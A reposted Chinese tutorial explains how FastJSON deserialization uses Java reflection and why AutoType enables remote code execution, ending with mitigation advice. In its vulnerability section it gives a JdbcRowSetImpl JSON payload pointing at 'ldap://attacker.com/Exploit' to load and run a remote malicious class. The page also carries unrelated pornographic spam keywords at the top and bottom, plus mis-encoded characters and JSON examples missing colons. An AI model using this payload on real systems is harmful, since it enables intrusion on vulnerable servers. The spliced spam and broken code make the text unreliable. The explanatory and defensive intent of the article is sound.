日韩欧美人妻无码精品白浆,www.大香蕉久久网,狠狠的日狠狠的操,日本好好热在线观看

LOGO OA教程 ERP教程 模切知識交流 PMS教程 CRM教程 開發(fā)文檔 其他文檔  
 
網(wǎng)站管理員

FastJSON 反序列化到底干了啥?一文看懂它是如何利用反射機制的!

admin
2025年5月5日 12:10 本文熱度 457

?? 剖析FastJSON 反序列化是如何利用的反射機制


?? 一、反序列化是什么?

反序列化(Deserialization):將字符串形式的數(shù)據(jù)(如 JSON)轉成 Java 對象的過程。

舉個例子,有一個 Java 類:

public class User{
public String username;
public int age;
}

如果傳入 JSON:

{
    "username""www.geekserver.top",
    "age"20
}

我們可以使用 FastJSON 自動反序列化它:

User u = JSON.parseObject(jsonStr, User.class);

但問題是——FastJSON 怎么知道怎么構建這個類?怎么給字段賦值?這時候就用到了 Java 的反射機制。


?? 二、FastJSON 使用反射詳細分析

下面我們從零開始拆解 FastJSON 是怎么用反射一步步把 JSON 字符串變成對象的。


?? 第 1 步:類加載

FastJSON 首先需要知道要反序列化成哪個類。

  • 如果手動指定類(如 User.class),就直接用;
  • 如果啟用了 AutoType,就從 JSON 的 @type 字段中讀取。
// 方式一:手動指定類  JSON.parseObject(jsonStr, User.class);
Class<?> clazz = User.class;

// 方式二:AutoType 動態(tài)識別  JSON.parseObject(jsonStr);
String className = jsonObj.get("@type");
Class<?> clazz = Class.forName(className);

反射關鍵點:Class.forName() 動態(tài)加載類


?? 第 2 步:實例化對象

FastJSON 會用 clazz.newInstance() 創(chuàng)建目標類的實例。

Object obj = clazz.newInstance();  // 相當于 new User()

反射關鍵點:默認調用類的無參構造方法。如果類沒有無參構造,就報錯。


?? 第 3 步:遍歷字段,賦值屬性

FastJSON 會讀取 JSON 中的 key-value 對,然后:

  1. 在類中找對應字段;
  2. 設置為可訪問;
  3. 強制賦值。

具體如下:

Field field = clazz.getDeclaredField("username"); // 找到字段
field.setAccessible(true); // 設置可訪問
field.set(obj, "Alice");   // 設置值

對于多個字段會這樣循環(huán):

for (Map.Entry<String, Object> entry : jsonMap.entrySet()) {
    Field field = clazz.getDeclaredField(entry.getKey());
    field.setAccessible(true);
    field.set(obj, entry.getValue());
}

?? 結果:我們就用反射動態(tài)生成了一個對象!

User u = (User) obj;
System.out.println(u.username); // 輸出:Alice

??總結

FastJSON的反序列化JSON.parseObject(jsonStr, User.class);相當于進行了如下操作:

// 1. 把 JSON 字符串轉成 Map 結構
Map<String, Object> jsonMap = new HashMap<>();
jsonMap.put("username""alice");
jsonMap.put("age"18);

// 2. 用反射創(chuàng)建對象實例
Class<?> clazz = User.class;
Object obj = clazz.newInstance(); // 默認調用無參構造

// 3. 用反射給字段賦值(字段名必須和 JSON 鍵一致)
for (Map.Entry<String, Object> entry : jsonMap.entrySet()) {
    Field field = clazz.getDeclaredField(entry.getKey());
    field.setAccessible(true); // 解鎖私有字段
    field.set(obj, entry.getValue()); // 賦值
}

// 4. 返回強轉后的對象
User u = (User) obj;


?? 三、AutoType 與反射結合后的漏洞原理

我們現(xiàn)在明白了 FastJSON 會:

  • 通過反射 Class.forName() 加載類;
  • 用反射 newInstance() 創(chuàng)建對象;
  • 用反射操作字段,賦值。

? 那攻擊者可以怎么利用?

如果開啟了 AutoType,攻擊者就能傳一個精心構造的 JSON,例如:

{
    "@type""com.sun.rowset.JdbcRowSetImpl",
    "dataSourceName""ldap://attacker.com/Exploit",
    "autoCommit"true
}

FastJSON 會:

  1. 反射加載 JdbcRowSetImpl 類;
  2. 調用其構造方法創(chuàng)建對象;
  3. 自動調用 setDataSourceName("ldap://...");
  4. 內部觸發(fā) JNDI 請求 → 遠程加載惡意類 → 執(zhí)行代碼。

JdbcRowSetImpl 利用鏈分析 ?? FastJSON × JdbcRowSetImpl 利用鏈是否還有效?全面解析如何突破 JDK 安全限制


?? 四、流程總結

階段技術說明
??? 加載類Class.forName()反射動態(tài)加載任意類(危險?。?/span>
?? 創(chuàng)建對象clazz.newInstance()調用無參構造方法實例化
?? 設置屬性field.set(obj, value)設置攻擊字段觸發(fā)危險行為
?? 利用漏洞類JdbcRowSetImpl自動觸發(fā) JNDI 請求
?? 實現(xiàn) RCEJNDI + 遠程類加載下載并執(zhí)行遠程惡意類


? 五、修復建議

防護措施建議
?? 禁用 AutoType默認關閉 setAutoTypeSupport(true)
? 配置白名單ParserConfig.addAccept("com.safe.")
?? 升級 FastJSON推薦 1.2.83+,更強防護機制
?? 審計日志檢查是否存在 @type 字段傳入


?? 六、總結:為什么 FastJSON 漏洞離不開反射?

  • FastJSON 是為了靈活和泛化;
  • Java 的反射機制讓 JSON 可以動態(tài)適配任何類;
  • 攻擊者正是利用了反射的“全能”特性,構造任意對象、注入惡意行為。


閱讀原文:原文鏈接


該文章在 2025/5/6 12:15:41 編輯過
關鍵字查詢
相關文章
正在查詢...
點晴ERP是一款針對中小制造業(yè)的專業(yè)生產(chǎn)管理軟件系統(tǒng),系統(tǒng)成熟度和易用性得到了國內大量中小企業(yè)的青睞。
點晴PMS碼頭管理系統(tǒng)主要針對港口碼頭集裝箱與散貨日常運作、調度、堆場、車隊、財務費用、相關報表等業(yè)務管理,結合碼頭的業(yè)務特點,圍繞調度、堆場作業(yè)而開發(fā)的。集技術的先進性、管理的有效性于一體,是物流碼頭及其他港口類企業(yè)的高效ERP管理信息系統(tǒng)。
點晴WMS倉儲管理系統(tǒng)提供了貨物產(chǎn)品管理,銷售管理,采購管理,倉儲管理,倉庫管理,保質期管理,貨位管理,庫位管理,生產(chǎn)管理,WMS管理系統(tǒng),標簽打印,條形碼,二維碼管理,批號管理軟件。
點晴免費OA是一款軟件和通用服務都免費,不限功能、不限時間、不限用戶的免費OA協(xié)同辦公管理系統(tǒng)。
Copyright 2010-2025 ClickSun All Rights Reserved

台湾 偷拍 自拍| AV午夜免费影院| 黄片视频大全免费| 亚洲精品乱码在线免费观看| 无码人妻丰满熟妇又大又粗| 国产性幼| 91.av成人| 东南亚人妻偷拍激情视频| 人人干av影库| 日本好吊艹视频| 欧美一一二三区| 欧美日韩大淫片| 欧美欧美欧美特黄| 色综合网一区二区二级| 欧美黄色日韩A级在线观看| 波多野结衣无码一区二区三区| 中文字幕亚洲欧美一级| 日韩欧美xxxxx| 91精品国产一区二区无码孕妇| 中文字幕在线视频网站| 久久噜噜噜噜久久久噜噜噜99 | 好吊妞视频免费看看| 日韩欧美精品区第一页| 大香蕉18AV| chaopengporn| 久久精品不卡| 色婷婷久久综合影| 91伪v| 好吊妞干网在线观看AV| 无码综合网最新网址| 午夜毛片在线免费观看| 91蜜臀一区| 日本高清在线91一区二区三区| 中文字幕日本不卡三区| 性生活欧美亚洲23| 日韩精品美女在线| 久久精品小说区图片| 大香蕉之大香蕉在线视频| 午夜黄色大片有限公司| 超碰亚洲免费| 530福利视频|